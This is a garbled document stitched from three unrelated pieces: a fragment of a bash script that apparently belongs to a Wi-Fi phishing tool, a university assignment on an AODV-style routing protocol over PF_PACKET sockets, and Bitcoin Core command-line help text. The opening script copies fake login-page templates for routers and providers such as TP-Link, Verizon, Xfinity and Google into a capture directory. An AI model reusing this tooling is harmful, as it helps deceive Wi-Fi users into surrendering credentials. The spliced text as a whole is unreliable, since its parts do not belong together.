$WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface

Overview For this assignment you will be developing and implementing : An On-Demand shortest-hop Routing (ODR) protocol for networks of fixed but arbitrary and unknown connectivity, using PF_PACKET sockets. The implementation is based on (a simplified version of) the AODV algorithm. Time client and server applications that send requests and replies to each other across the network using ODR. An API you will implement using Unix domain datagram sockets enables applications to communicate with the ODR mechanism running locally at their nodes. I shall be discussing the assignment in class on Wednesday, October 29, and Monday, November 3. The following should prove useful reference material for the assignment : Sections 15.1, 15.2, 15.4 & 15.6, Chapter 15, on Unix domain datagram sockets. PF_PACKET(7) from the Linux manual pages. You might find these notes made by a past CSE 533 student useful. Also, the following link http://www.pdbuchan.com/rawsock/rawsock.html contains useful code samples that use PF_PACKET sockets (as well as other code samples that use raw IP sockets which you do not need for this assignment, though you will be using these types of sockets for Assignment 4). Charles E. Perkins & Elizabeth M. Royer. “Ad-hoc On-Demand Distance Vector Routing.” Proceedings of the 2nd IEEE Workshop on Mobile Computing Systems and Applications, New Orleans, Louisiana, February 1999, pp. 90 - 100. The VMware environment minix.cs.stonybrook.edu is a Linux box running VMware. A cluster of ten Linux virtual machines, called vm1 through vm10, on which you can gain access as root and run your code have been created on minix. See VMware Environment Hosts for further details. VMware instructions takes you to a page that explains how to use the system. The ten virtual machines have been configured into a small virtual intranet of Ethernet LANs whose topology is (in principle) unknown to you. There is a course account cse533 on node minix, with home directory /users/cse533. In there, you will find a subdirectory Stevens/unpv13e , exactly as you are used to having on the cs system. You should develop your source code and makefiles for handing in accordingly. You will be handing in your source code on the minix node. Note that you do not need to link against the socket library (-lsocket) in Linux. The same is true for -lnsl and -lresolv. For example, take a look at how the LIBS variable is defined for Solaris, in /home/courses/cse533/Stevens/unpv13e_solaris2.10/Make.defines (on compserv1, say) : LIBS = ../libunp.a -lresolv -lsocket -lnsl -lpthread But if you take a look at Make.defines on minix (/users/cse533/Stevens/unpv13e/Make.defines) you will find only: LIBS = ../libunp.a -lpthread The nodes vm1 , . . . . . , vm10 are all multihomed : each has two (or more) interfaces. The interface ‘eth0 ’ should be completely ignored and is not to be used for this assignment (because it shows all ten nodes as if belonging to the same single Ethernet 192.168.1.0/24, rather than to an intranet composed of several Ethernets). Note that vm1 , . . . . . , vm10 are virtual machines, not real ones. One implication of this is that you will not be able to find out what their (virtual) IP addresses are by using nslookup and such. To find out these IP addresses, you need to look at the file /etc/hosts on minix. More to the point, invoking gethostbyname for a given vm will return to you only the (primary) IP address associated with the interface eth0 of that vm (which is the interface you will not be using). It will not return to you any other IP address for the node. Similarly, gethostbyaddr will return the vm node name only if you give it the (primary) IP address associated with the interface eth0 for the node. It will return nothing if you give it any other IP address for the node, even though the address is perfectly valid. Because of this, and because it will ease your task to be able to use gethostbyname and gethostbyaddr in a straightforward way, we shall adopt the (primary) IP addresses associated with interfaces eth0 as the ‘canonical’ IP addresses for the nodes (more on this below). Time client and server A time server runs on each of the ten vm machines. The client code should also be available on each vm so that it can be evoked at any of them. Normally, time clients/servers exchange request/reply messages using the TCP/UDP socket API that, effectively, enables them to receive service (indirectly, via the transport layer) from the local IP mechanism running at their nodes. You are to implement an API using Unix domain sockets to access the local ODR service directly (somewhat similar, in effect, to the way that raw sockets permit an application to access IP directly). Use Unix domain SOCK_DGRAM, rather than SOCK_STREAM, sockets (see Figures 15.5 & 15.6, pp. 418 - 419). API You need to implement a msg_send function that will be called by clients/servers to send requests/replies. The parameters of the function consist of : int giving the socket descriptor for write char* giving the ‘canonical’ IP address for the destination node, in presentation format int giving the destination ‘port’ number char* giving message to be sent int flag if set, force a route rediscovery to the destination node even if a non-‘stale’ route already exists (see below) msg_send will format these parameters into a single char sequence which is written to the Unix domain socket that a client/server process creates. The sequence will be read by the local ODR from a Unix domain socket that the ODR process creates for itself. Recall that the ‘canonical’ IP address for a vm node is the (primary) IP address associated with the eth0 interface for the node. It is what will be returned to you by a call to gethostbyname. Similarly, we need a msg_recv function which will do a (blocking) read on the application domain socket and return with : int giving socket descriptor for read char* giving message received char* giving ‘canonical’ IP address for the source node of message, in presentation format int* giving source ‘port’ number This information is written as a single char sequence by the ODR process to the domain socket that it creates for itself. It is read by msg_recv from the domain socket the client/server process creates, decomposed into the three components above, and returned to the caller of msg_recv. Also see the section below entitled ODR and the API. Client When a client is evoked at a node, it creates a domain datagram socket. The client should bind its socket to a ‘temporary’ (i.e., not ‘well-known’) sun_path name obtained from a call to tmpnam() (cf. line 10, Figure 15.6, p. 419) so that multiple clients may run at the same node. Note that tmpnam() is actually highly deprecated. You should use the mkstemp() function instead - look up the online man pages on minix (‘man mkstemp’) for details. As you run client code again and again during the development stage, the temporary files created by the calls to tmpnam / mkstemp start to proliferate since these files are not automatically removed when the client code terminates. You need to explicitly remove the file created by the client evocation by issuing a call to unlink() or to remove() in your client code just before the client code exits. See the online man pages on minix (‘man unlink’, ‘man remove’) for details. The client then enters an infinite loop repeating the steps below. The client prompts the user to choose one of vm1 , . . . . . , vm10 as a server node. Client msg_sends a 1 or 2 byte message to server and prints out on stdout the message client at node vm i1 sending request to server at vm i2 (In general, throughout this assignment, “trace” messages such as the one above should give the vm names and not IP addresses of the nodes.) Client then blocks in msg_recv awaiting response. This attempt to read from the domain socket should be backed up by a timeout in case no response ever comes. I leave it up to you whether you ‘wrap’ the call to msg_recv in a timeout, or you implement the timeout inside msg_recv itself. When the client receives a response it prints out on stdout the message client at node vm i1 : received from vm i2 <timestamp> If, on the other hand, the client times out, it should print out the message client at node vm i1 : timeout on response from vm i2 The client then retransmits the message out, setting the flag parameter in msg_send to force a route rediscovery, and prints out an appropriate message on stdout. This is done only once, when a timeout for a given message to the server occurs for the first time. Client repeats steps 1. - 3. Server The server creates a domain datagram socket. The server socket is assumed to have a (node-local) ‘well-known’ sun_path name which it binds to. This ‘well-known’ sun_path name is designated by a (network-wide) ‘well-known’ ‘port’ value. The time client uses this ‘port’ value to communicate with the server. The server enters an infinite sequence of calls to msg_recv followed by msg_send, awaiting client requests and responding to them. When it responds to a client request, it prints out on stdout the message server at node vm i1 responding to request from vm i2 ODR The ODR process runs on each of the ten vm machines. It is evoked with a single command line argument which gives a “staleness” time parameter, in seconds. It uses get_hw_addrs (available to you on minix in ~cse533/Asgn3_code) to obtain the index, and associated (unicast) IP and Ethernet addresses for each of the node’s interfaces, except for the eth0 and lo (loopback) interfaces, which should be ignored. In the subdirectory ~cse533/Asgn3_code (/users/cse533/Asgn3_code) on minix I am providing you with two functions, get_hw_addrs and prhwaddrs. These are analogous to the get_ifi_info_plus and prifinfo_plus of Assignment 2. Like get_ifi_info_plus, get_hw_addrs uses ioctl. get_hw_addrs gets the (primary) IP address, alias IP addresses (if any), HW address, and interface name and index value for each of the node's interfaces (including the loopback interface lo). prhwaddrs prints that information out. You should modify and use these functions as needed. Note that if an interface has no HW address associated with it (this is, typically, the case for the loopback interface lo for example), then ioctl returns get_hw_addrs a HW address which is the equivalent of 00:00:00:00:00:00 . get_hw_addrs stores this in the appropriate field of its data structures as it would with any HW address returned by ioctl, but when prhwaddrs comes across such an address, it prints a blank line instead of its usual ‘HWaddr = xx:xx:xx:xx:xx:xx’. The ODR process creates one or more PF_PACKET sockets. You will need to try out PF_PACKET sockets for yourselves and familiarize yourselves with how they behave. If, when you read from the socket and provide a sockaddr_ll structure, the kernel returns to you the index of the interface on which the incoming frame was received, then one socket will be enough. Otherwise, somewhat in the manner of Assignment 2, you shall have to create a PF_PACKET socket for every interface of interest (which are all the interfaces of the node, excluding interfaces lo and eth0 ), and bind a socket to each interface. Furthermore, if the kernel also returns to you the source Ethernet address of the frame in the sockaddr_ll structure, then you can make do with SOCK_DGRAM type PF_PACKET sockets; otherwise you shall have to use SOCK_RAW type sockets (although I would prefer you to use SOCK_RAW type sockets anyway, even if it turns out you can make do with SOCK_DGRAM type). The socket(s) should have a protocol value (no larger than 0xffff so that it fits in two bytes; this value is given as a network-byte-order parameter in the call(s) to function socket) that identifies your ODR protocol. The <linux/if_ether.h> include file (i.e., the file /usr/include/linux/if_ether.h) contains protocol values defined for the standard protocols typically found on an Ethernet LAN, as well as other values such as ETH_P_ALL. You should set protocol to a value of your choice which is not a <linux/if_ether.h> value, but which is, hopefully, unique to yourself. Remember that you will all be running your code using the same root account on the vm1 , . . . . . , vm10 nodes. So if two of you happen to choose the same protocol value and happen to be running on the same vm node at the same time, your applications will receive each other’s frames. For that reason, try to choose a protocol value for the socket(s) that is likely to be unique to yourself (something based on your Stony Brook student ID number, for example). This value effectively becomes the protocol value for your implementation of ODR, as opposed to some other cse 533 student's implementation. Because your value of protocol is to be carried in the frame type field of the Ethernet frame header, the value chosen should be not less than 1536 (0x600) so that it is not misinterpreted as the length of an Ethernet 802.3 frame. Note from the man pages for packet(7) that frames are passed to and from the socket without any processing in the frame content by the device driver on the other side of the socket, except for calculating and tagging on the 4-byte CRC trailer for outgoing frames, and stripping that trailer before delivering incoming frames to the socket. Nevertheless, if you write a frame that is less than 60 bytes, the necessary padding is automatically added by the device driver so that the frame that is actually transmitted out is the minimum Ethernet size of 64 bytes. When reading from the socket, however, any such padding that was introduced into a short frame at the sending node to bring it up to the minimum frame size is not stripped off - it is included in what you receive from the socket (thus, the minimum number of bytes you receive should never be less than 60). Also, you will have to build the frame header for outgoing frames yourselves (assuming you use SOCK_RAW type sockets). Bear in mind that the field values in that header have to be in network order. The ODR process also creates a domain datagram socket for communication with application processes at the node, and binds the socket to a ‘well known’ sun_path name for the ODR service. Because it is dealing with fixed topologies, ODR is, by and large, considerably simpler than AODV. In particular, discovered routes are relatively stable and there is no need for all the paraphernalia that goes with the possibility of routes changing (such as maintenance of active nodes in the routing tables and timeout mechanisms; timeouts on reverse links; lifetime field in the RREP messages; etc.) Nor will we be implementing source_sequence_#s (in the RREQ messages), and dest_sequence_# (in RREQ and RREP messages). In reality, we should (though we will not, for the sake of simplicity, be doing so) implement some sort of sequence number mechanism, or some alternative mechanism such as split-horizon for example, if we are to avoid possible scenarios of routing loops in a “count to infinity” context (I shall explain this point in class). However, we want ODR to discover shortest-hop paths, and we want it to do so in a reasonably efficient manner. This necessitates having one or two aspects of its operations work in a different, possibly slightly more complicated, way than AODV does. ODR has several basic responsibilities : Build and maintain a routing table. For each destination in the table, the routing table structure should include, at a minimum, the next-hop node (in the form of the Ethernet address for that node) and outgoing interface index, the number of hops to the destination, and a timestamp of when the the routing table entry was made or last “reconfirmed” / updated. Note that a destination node in the table is to be identified only by its ‘canonical’ IP address, and not by any other IP addresses the node has. Generate a RREQ in response to a time client calling msg_send for a destination for which ODR has no route (or for which a route exists, but msg_send has the flag parameter set or the route has gone ‘stale’ – see below), and ‘flood’ the RREQ out on all the node’s interfaces (except for the interface it came in on and, of course, the interfaces eth0 and lo). Flooding is done using an Ethernet broadcast destination address (0xff:ff:ff:ff:ff:ff) in the outgoing frame header. Note that a copy of the broadcast packet is supposed to / might be looped back to the node that sends it (see p. 535 in the Stevens textbook). ODR will have to take care not to treat these copies as new incoming RREQs. Also note that ODR at the client node increments the broadcast_id every time it issues a new RREQ for any destination node. When a RREQ is received, ODR has to generate a RREP if it is at the destination node, or if it is at an intermediate node that happens to have a route (which is not ‘stale’ – see below) to the destination. Otherwise, it must propagate the RREQ by flooding it out on all the node’s interfaces (except the interface the RREQ arrived on). Note that as it processes received RREQs, ODR should enter the ‘reverse’ route back to the source node into its routing table, or update an existing entry back to the source node if the RREQ received shows a shorter-hop route, or a route with the same number of hops but going through a different neighbour. The timestamp associated with the table entry should be updated whenever an existing route is either “reconfirmed” or updated. Obviously, if the node is going to generate a RREP, updating an existing entry back to the source node with a more efficient route, or a same-hops route using a different neighbour, should be done before the RREP is generated. Unlike AODV, when an intermediate node receives a RREQ for which it generates a RREP, it should nevertheless continue to flood the RREQ it received if the RREQ pertains to a source node whose existence it has heretofore been unaware of, or the RREQ gives it a more efficient route than it knew of back to the source node (the reason for continuing to flood the RREQ is so that other nodes in the intranet also become aware of the existence of the source node or of the potentially more optimal reverse route to it, and update their tables accordingly). However, since an RREP for this RREQ is being sent by our node, we do not want other nodes who receive the RREQ propagated by our node, and who might be in a position to do so, to also send RREPs. So we need to introduce a field in the RREQ message, not present in the AODV specifications, which acts like a “RREP already sent” field. Our node sets this field before further propagating the RREQ and nodes receiving an RREQ with this field set do not send RREPs in response, even if they are in a position to do so. ODR may, of course, receive multiple, distinct instances of the same RREQ (the combination of source_addr and broadcast_id uniquely identifies the RREQ). Such RREQs should not be flooded out unless they have a lower hop count than instances of that RREQ that had previously been received. By the same token, if ODR is in a position to send out a RREP, and has already done so for this, now repeating, RREQ , it should not send out another RREP unless the RREQ shows a more efficient, previously unknown, reverse route back to the source node. In other words, ODR should not generate essentially duplicative RREPs, nor generate RREPs to instances of RREQs that reflect reverse routes to the source that are not more efficient than what we already have. Relay RREPs received back to the source node (this is done using the ‘reverse’ route entered into the routing table when the corresponding RREQ was processed). At the same time, a ‘forward’ path to the destination is entered into the routing table. ODR could receive multiple, distinct RREPs for the same RREQ. The ‘forward’ route entered in the routing table should be updated to reflect the shortest-hop route to the destination, and RREPs reflecting suboptimal routes should not be relayed back to the source. In general, maintaining a route and its associated timestamp in the table in response to RREPs received is done in the same manner described above for RREQs. Forward time client/server messages along the next hop. (The following is important – you will lose points if you do not implement it.) Note that such application payload messages (especially if they are the initial request from the client to the server, rather than the server response back to the client) can be like “free” RREPs, enabling nodes along the path from source (client) to destination (server) node to build a reverse path back to the client node whose existence they were heretofore unaware of (or, possibly, to update an existing route with a more optimal one). Before it forwards an application payload message along the next hop, ODR at an intermediate node (and also at the final destination node) should use the message to update its routing table in this way. Thus, calls to msg_send by time servers should never cause ODR at the server node to initiate RREQs, since the receipt of a time client request implies that a route back to the client node should now exist in the routing table. The only exception to this is if the server node has a staleness parameter of zero (see below). A routing table entry has associated with it a timestamp that gives the time the entry was made into the table. When a client at a node calls msg_send, and if an entry for the destination node already exists in the routing table, ODR first checks that the routing information is not ‘stale’. A stale routing table entry is one that is older than the value defined by the staleness parameter given as a command line argument to the ODR process when it is executed. ODR deletes stale entries (as well as non-stale entries when the flag parameter in msg_send is set) and initiates a route rediscovery by issuing a RREQ for the destination node. This will force periodic updating of the routing tables to take care of failed nodes along the current path, Ethernet addresses that might have changed, and so on. Similarly, as RREQs propagate through the intranet, existing stale table entries at intermediate nodes are deleted and new route discoveries propagated. As noted above when discussing the processing of RREQs and RREPs, the associated timestamp for an existing table entry is updated in response to having the route either “reconfirmed” or updated (this applies to both reverse routes, by virtue of RREQs received, and to forward routes, by virtue of RREPs). Finally, note that a staleness parameter of 0 essentially indicates that the discovered route will be used only once, when first discovered, and then discarded. Effectively, an ODR with staleness parameter 0 maintains no real routing table at all ; instead, it forces route discoveries at every step of its operation. As a practical matter, ODR should be run with staleness parameter values that are considerably larger than the longest RTT on the intranet, otherwise performance will degrade considerably (and collapse entirely as the parameter values approach 0). Nevertheless, for robustness, we need to implement a mechanism by which an intermediate node that receives a RREP or application payload message for forwarding and finds that its relevant routing table entry has since gone stale, can intiate a RREQ to rediscover the route it needs. RREQ, RREP, and time client/server request/response messages will all have to be carried as encapsulated ODR protocol messages that form the data payload of Ethernet frames. So we need to design the structure of ODR protocol messages. The format should contain a type field (0 for RREQ, 1 for RREP, 2 for application payload ). The remaining fields in an ODR message will depend on what type it is. The fields needed for (our simplified versions of AODV’s) RREQ and RREP should be fairly clear to you, but keep in mind that you need to introduce two extra fields: The “RREP already sent” bit or field in RREQ messages, as mentioned above. A “forced discovery” bit or field in both RREQ and RREP messages: When a client application forces route rediscovery, this bit should be set in the RREQ issued by the client node ODR. Intermediate nodes that are not the destination node but which do have a route to the destination node should not respond with RREPs to an RREQ which has the forced discovery field set. Instead, they should continue to flood the RREQ so that it eventually reaches the destination node which will then respond with an RREP. The intermediate nodes relaying such an RREQ must update their ‘reverse’ route back to the source node accordingly, even if the new route is less efficient (i.e., has more hops) than the one they currently have in their routing table. The destination node responds to the RREQ with an RREP in which this field is also set. Intermediate nodes that receive such a forced discovery RREP must update their ‘forward’ route to the destination node accordingly, even if the new route is less efficient (i.e., has more hops) than the one they currently have in their routing table. This behaviour will cause a forced discovery RREQ to be responded to only by the destination node itself and not any other node, and will cause intermediate nodes to update their routing tables to both source and destination nodes in accordance with the latest routing information received, to cover the possibility that older routes are no longer valid because nodes and/or links along their paths have gone down. A type 2, application payload, message needs to contain the following type of information : type = 2 ‘canonical’ IP address of source node ‘port’ number of source application process (This, of course, is not a real port number in the TCP/UDP sense, but simply a value that ODR at the source node uses to designate the sun_path name for the source application’s domain socket.) ‘canonical’ IP address of destination node ‘port’ number of destination application process (This is passed to ODR by the application process at the source node when it calls msg_send. Its designates the sun_path name for an application’s domain socket at the destination node.) hop count (This starts at 0 and is incremented by 1 at each hop so that ODR can make use of the message to update its routing table, as discussed above.) number of bytes in application message The fields above essentially constitute a ‘header’ for the ODR message. Note that fields which you choose to have carry numeric values (rather than ascii characters, for example) must be in network byte order. ODR-defined numeric-valued fields in type 0, RREQ, and type 1, RREP, messages must, of course, also be in network byte order. Also note that only the ‘canonical’ IP addresses are used for the source and destination nodes in the ODR header. The same has to be true in the headers for type 0, RREQ, and type 1, RREP, messages. The general rule is that ODR messages only carry ‘canonical’ IP node addresses. The last field in the type 2 ODR message is essentially the data payload of the message. application message given in the call to msg_send An ODR protocol message is encapsulated as the data payload of an Ethernet frame whose header it fills in as follows : source address = Ethernet address of outgoing interface of the current node where ODR is processing the message. destination address = Ethernet broadcast address for type 0 messages; Ethernet address of next hop node for type 1 & 2 messages. protocol field = protocol value for the ODR PF_PACKET socket(s). Last but not least, whenever ODR writes an Ethernet frame out through its socket, it prints out on stdout the message ODR at node vm i1 : sending frame hdr src vm i1 dest addr ODR msg type n src vm i2 dest vm i3 where addr is in presentation format (i.e., hexadecimal xx:xx:xx:xx:xx:xx) and gives the destination Ethernet address in the outgoing frame header. Other nodes in the message should be identified by their vm name. A message should be printed out for each packet sent out on a distinct interface. ODR and the API When the ODR process first starts, it must construct a table in which it enters all well-known ‘port’ numbers and their corresponding sun_path names. These will constitute permanent entries in the table. Thereafter, whenever it reads a message off its domain socket, it must obtain the sun_path name for the peer process socket and check whether that name is entered in the table. If not, it must select an ‘ephemeral’ ‘port’ value by which to designate the peer sun_path name and enter the pair < port value , sun_path name > into the table. Such entries cannot be permanent otherwise the table will grow unboundedly in time, with entries surviving for ever, beyond the peer processes’ demise. We must associate a time_to_live field with a non-permanent table entry, and purge the entry if nothing is heard from the peer for that amount of time. Every time a peer process for which a non-permanent table entry exists communicates with ODR, its time_to_live value should be reinitialized. Note that when ODR writes to a peer, it is possible for the write to fail because the peer does not exist : it could be a ‘well-known’ service that is not running, or we could be in the interval between a process with a non-permanent table entry terminating and the expiration of its time_to_live value. Notes A proper implementation of ODR would probably require that RREQ and RREP messages be backed up by some kind of timeout and retransmission mechanism since the network transmission environment is not reliable. This would considerably complicate the implementation (because at any given moment, a node could have multiple RREQs that it has flooded out, but for which it has still not received RREPs; the situation is further complicated by the fact that not all intermediate nodes receiving and relaying RREQs necessarily lie on a path to the destination, and therefore should expect to receive RREPs), and, learning-wise, would not add much to the experience you should have gained from Assignment 2.

-? Print this help message and exit -alertnotify=<cmd> Execute command when a relevant alert is received or we see a really long fork (%s in cmd is replaced by message) -assumevalid=<hex> If this block is in the chain assume that it and its ancestors are valid and potentially skip their script verification (0 to verify all, default: 0000000000000000000b9d2ec5a352ecba0592946514a92f14319dc2b367fc72, testnet: 000000000000006433d1efec504c53ca332b64963c425395515b01977bd7b3b0, signet: 0000002a1de0f46379358c1fd09906f7ac59adf3712323ed90eb59e4c183c020) -blockfilterindex=<type> Maintain an index of compact filters by block (default: 0, values: basic). If <type> is not supplied or if <type> = 1, indexes for all known types are enabled. -blocknotify=<cmd> Execute command when the best block changes (%s in cmd is replaced by block hash) -blockreconstructionextratxn=<n> Extra transactions to keep in memory for compact block reconstructions (default: 100) -blocksdir=<dir> Specify directory to hold blocks subdirectory for *.dat files (default: <datadir>) -blocksonly Whether to reject transactions from network peers. Automatic broadcast and rebroadcast of any transactions from inbound peers is disabled, unless the peer has the 'forcerelay' permission. RPC transactions are not affected. (default: 0) -conf=<file> Specify path to read-only configuration file. Relative paths will be prefixed by datadir location. (default: bitcoin.conf) -daemon Run in the background as a daemon and accept commands -datadir=<dir> Specify data directory -dbcache=<n> Maximum database cache size <n> MiB (4 to 16384, default: 450). In addition, unused mempool memory is shared for this cache (see -maxmempool). -debuglogfile=<file> Specify location of debug log file. Relative paths will be prefixed by a net-specific datadir location. (-nodebuglogfile to disable; default: debug.log) -includeconf=<file> Specify additional configuration file, relative to the -datadir path (only useable from configuration file, not command line) -loadblock=<file> Imports blocks from external file on startup -maxmempool=<n> Keep the transaction memory pool below <n> megabytes (default: 300) -maxorphantx=<n> Keep at most <n> unconnectable transactions in memory (default: 100) -mempoolexpiry=<n> Do not keep transactions in the mempool longer than <n> hours (default: 336) -par=<n> Set the number of script verification threads (-8 to 15, 0 = auto, <0 = leave that many cores free, default: 0) -persistmempool Whether to save the mempool on shutdown and load on restart (default: 1) -pid=<file> Specify pid file. Relative paths will be prefixed by a net-specific datadir location. (default: bitcoind.pid) -prune=<n> Reduce storage requirements by enabling pruning (deleting) of old blocks. This allows the pruneblockchain RPC to be called to delete specific blocks, and enables automatic pruning of old blocks if a target size in MiB is provided. This mode is incompatible with -txindex and -rescan. Warning: Reverting this setting requires re-downloading the entire blockchain. (default: 0 = disable pruning blocks, 1 = allow manual pruning via RPC, >=550 = automatically prune block files to stay under the specified target size in MiB) -reindex Rebuild chain state and block index from the blk*.dat files on disk -reindex-chainstate Rebuild chain state from the currently indexed blocks. When in pruning mode or if blocks on disk might be corrupted, use full -reindex instead. -settings=<file> Specify path to dynamic settings data file. Can be disabled with -nosettings. File is written at runtime and not meant to be edited by users (use bitcoin.conf instead for custom settings). Relative paths will be prefixed by datadir location. (default: settings.json) -startupnotify=<cmd> Execute command on startup. -sysperms Create new files with system default permissions, instead of umask 077 (only effective with disabled wallet functionality) -txindex Maintain a full transaction index, used by the getrawtransaction rpc call (default: 0) -version Print version and exit Connection options: -addnode=<ip> Add a node to connect to and attempt to keep the connection open (see the `addnode` RPC command help for more info). This option can be specified multiple times to add multiple nodes. -asmap=<file> Specify asn mapping used for bucketing of the peers (default: ip_asn.map). Relative paths will be prefixed by the net-specific datadir location. -bantime=<n> Default duration (in seconds) of manually configured bans (default: 86400) -bind=<addr>[:<port>][=onion] Bind to given address and always listen on it (default: 0.0.0.0). Use [host]:port notation for IPv6. Append =onion to tag any incoming connections to that address and port as incoming Tor connections (default: 127.0.0.1:8334=onion, testnet: 127.0.0.1:18334=onion, signet: 127.0.0.1:38334=onion, regtest: 127.0.0.1:18445=onion) -connect=<ip> Connect only to the specified node; -noconnect disables automatic connections (the rules for this peer are the same as for -addnode). This option can be specified multiple times to connect to multiple nodes. -discover Discover own IP addresses (default: 1 when listening and no -externalip or -proxy) -dns Allow DNS lookups for -addnode, -seednode and -connect (default: 1) -dnsseed Query for peer addresses via DNS lookup, if low on addresses (default: 1 unless -connect used) -externalip=<ip> Specify your own public address -forcednsseed Always query for peer addresses via DNS lookup (default: 0) -listen Accept connections from outside (default: 1 if no -proxy or -connect) -listenonion Automatically create Tor onion service (default: 1) -maxconnections=<n> Maintain at most <n> connections to peers (default: 125) -maxreceivebuffer=<n> Maximum per-connection receive buffer, <n>*1000 bytes (default: 5000) -maxsendbuffer=<n> Maximum per-connection send buffer, <n>*1000 bytes (default: 1000) -maxtimeadjustment Maximum allowed median peer time offset adjustment. Local perspective of time may be influenced by peers forward or backward by this amount. (default: 4200 seconds) -maxuploadtarget=<n> Tries to keep outbound traffic under the given target (in MiB per 24h). Limit does not apply to peers with 'download' permission. 0 = no limit (default: 0) -networkactive Enable all P2P network activity (default: 1). Can be changed by the setnetworkactive RPC command -onion=<ip:port> Use separate SOCKS5 proxy to reach peers via Tor onion services, set -noonion to disable (default: -proxy) -onlynet=<net> Make outgoing connections only through network <net> (ipv4, ipv6 or onion). Incoming connections are not affected by this option. This option can be specified multiple times to allow multiple networks. -peerblockfilters Serve compact block filters to peers per BIP 157 (default: 0) -peerbloomfilters Support filtering of blocks and transaction with bloom filters (default: 0) -permitbaremultisig Relay non-P2SH multisig (default: 1) -port=<port> Listen for connections on <port>. Nodes not using the default ports (default: 8333, testnet: 18333, signet: 38333, regtest: 18444) are unlikely to get incoming connections. -proxy=<ip:port> Connect through SOCKS5 proxy, set -noproxy to disable (default: disabled) -proxyrandomize Randomize credentials for every proxy connection. This enables Tor stream isolation (default: 1) -seednode=<ip> Connect to a node to retrieve peer addresses, and disconnect. This option can be specified multiple times to connect to multiple nodes. -timeout=<n> Specify connection timeout in milliseconds (minimum: 1, default: 5000) -torcontrol=<ip>:<port> Tor control port to use if onion listening enabled (default: 127.0.0.1:9051) -torpassword=<pass> Tor control port password (default: empty) -upnp Use UPnP to map the listening port (default: 0) -whitebind=<[permissions@]addr> Bind to the given address and add permission flags to the peers connecting to it. Use [host]:port notation for IPv6. Allowed permissions: bloomfilter (allow requesting BIP37 filtered blocks and transactions), noban (do not ban for misbehavior; implies download), forcerelay (relay transactions that are already in the mempool; implies relay), relay (relay even in -blocksonly mode, and unlimited transaction announcements), mempool (allow requesting BIP35 mempool contents), download (allow getheaders during IBD, no disconnect after maxuploadtarget limit), addr (responses to GETADDR avoid hitting the cache and contain random records with the most up-to-date info). Specify multiple permissions separated by commas (default: download,noban,mempool,relay). Can be specified multiple times. -whitelist=<[permissions@]IP address or network> Add permission flags to the peers connecting from the given IP address (e.g. 1.2.3.4) or CIDR-notated network (e.g. 1.2.3.0/24). Uses the same permissions as -whitebind. Can be specified multiple times. Wallet options: -addresstype What type of addresses to use ("legacy", "p2sh-segwit", or "bech32", default: "bech32") -avoidpartialspends Group outputs by address, selecting all or none, instead of selecting on a per-output basis. Privacy is improved as an address is only used once (unless someone sends to it after spending from it), but may result in slightly higher fees as suboptimal coin selection may result due to the added limitation (default: 0 (always enabled for wallets with "avoid_reuse" enabled)) -changetype What type of change to use ("legacy", "p2sh-segwit", or "bech32"). Default is same as -addresstype, except when -addresstype=p2sh-segwit a native segwit output is used when sending to a native segwit address) -disablewallet Do not load the wallet and disable wallet RPC calls -discardfee=<amt> The fee rate (in BTC/kB) that indicates your tolerance for discarding change by adding it to the fee (default: 0.0001). Note: An output is discarded if it is dust at this rate, but we will always discard up to the dust relay fee and a discard fee above that is limited by the fee estimate for the longest target -fallbackfee=<amt> A fee rate (in BTC/kB) that will be used when fee estimation has insufficient data. 0 to entirely disable the fallbackfee feature. (default: 0.00) -keypool=<n> Set key pool size to <n> (default: 1000). Warning: Smaller sizes may increase the risk of losing funds when restoring from an old backup, if none of the addresses in the original keypool have been used. -maxapsfee=<n> Spend up to this amount in additional (absolute) fees (in BTC) if it allows the use of partial spend avoidance (default: 0.00) -mintxfee=<amt> Fees (in BTC/kB) smaller than this are considered zero fee for transaction creation (default: 0.00001) -paytxfee=<amt> Fee (in BTC/kB) to add to transactions you send (default: 0.00) -rescan Rescan the block chain for missing wallet transactions on startup -spendzeroconfchange Spend unconfirmed change when sending transactions (default: 1) -txconfirmtarget=<n> If paytxfee is not set, include enough fee so transactions begin confirmation on average within n blocks (default: 6) -wallet=<path> Specify wallet path to load at startup. Can be used multiple times to load multiple wallets. Path is to a directory containing wallet data and log files. If the path is not absolute, it is interpreted relative to <walletdir>. This only loads existing wallets and does not create new ones. For backwards compatibility this also accepts names of existing top-level data files in <walletdir>. -walletbroadcast Make the wallet broadcast transactions (default: 1) -walletdir=<dir> Specify directory to hold wallets (default: <datadir>/wallets if it exists, otherwise <datadir>) 